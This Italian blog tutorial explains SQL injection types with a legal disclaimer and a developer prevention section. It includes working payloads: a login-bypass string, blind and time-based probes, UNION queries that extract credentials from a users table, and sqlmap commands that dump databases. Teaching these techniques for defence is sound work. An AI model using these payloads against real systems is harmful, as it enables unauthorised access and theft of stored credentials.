Cybersecurity

SQL Injection: teoria, pratica e prevenzione completa

· · 👁 169 · ❤️ 0 · 💬 0
⚠️ Disclaimer legale: Questo articolo è esclusivamente a scopo educativo. Tutte le tecniche descritte vanno praticate SOLO su sistemi propri o su piattaforme autorizzate (TryHackMe, HackTheBox, VulnHub). Attaccare sistemi altrui senza autorizzazione è reato penale ai sensi degli artt. 615-ter e seguenti del Codice Penale italiano.

Cos'è SQL Injection

SQL Injection è una vulnerabilità in cui l'attaccante inserisce o "inietta" codice SQL malevolo attraverso l'input di un'applicazione web. Se l'applicazione non sanitizza correttamente l'input, il database esegue il codice iniettato.

Tipi di SQL Injection

In-band SQLi (più comune)

I risultati dell'injection vengono mostrati direttamente nella risposta HTTP.

# Classic: input in un form di login
Username: admin'--
Password: qualsiasi

# Query risultante (username viene chiuso dal ' e il -- commenta il resto):
SELECT * FROM users WHERE username='admin'--' AND password='qualsiasi'
# Equivale a:
SELECT * FROM users WHERE username='admin'

Error-based SQLi

Sfrutta i messaggi di errore del database per estrarre informazioni.

Blind SQLi

Non ci sono errori visibili. Si usa l'inferenza: risposta diversa per condizione vera/falsa (Boolean-based) o ritardo nel tempo di risposta (Time-based).

# Boolean-based: se il primo carattere del nome DB è "a"
' AND SUBSTRING(database(),1,1)='a'--

# Time-based: se condizione vera, attendi 5 secondi
' AND SLEEP(5)--   (MySQL)
'; WAITFOR DELAY '0:0:5'--  (MSSQL)

UNION-based extraction

# Prima: trova numero di colonne
' ORDER BY 1--   (incrementa fino a errore)

# Poi: estrai dati con UNION
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--

# Estrai credenziali
' UNION SELECT username,password,NULL FROM users--

SQLmap: automazione

# Identifica vulnerabilità
sqlmap -u "http://sito.com/item?id=1"

# Con cookie (sessione autenticata)
sqlmap -u "http://sito.com/profile" --cookie="session=abc"

# Estrai database
sqlmap -u "http://sito.com/item?id=1" --dbs

# Estrai tabelle
sqlmap -u "http://sito.com/item?id=1" -D nome_db --tables

# Estrai dati
sqlmap -u "http://sito.com/item?id=1" -D nome_db -T users --dump

Prevenzione (per sviluppatori)

  • Prepared statements/Parameterized queries: non concatenare mai input utente in query SQL
  • ORM: usa framework che gestiscono le query in modo sicuro
  • Input validation: whitelist, non blacklist
  • Principio minimo privilegio: account DB solo con permessi necessari
  • WAF: Web Application Firewall come livello aggiuntivo
← Torna al Blog

📚 Articoli correlati

📝
Sicurezza negli Internet Cafe: cosa non devi mai fare
Elfrid · 27/04/2026
📝
Virus e sicurezza informatica: la guida completa per proteggersi davvero
Elfrid · 27/04/2026
📝
Corso Hacking Etico #1: Introduzione e mentalita dell ethical hacker
Davide Russo · 26/04/2026

💬 Commenti (0)

Nessun commento ancora. Sii il primo!

Accedi per lasciare un commento.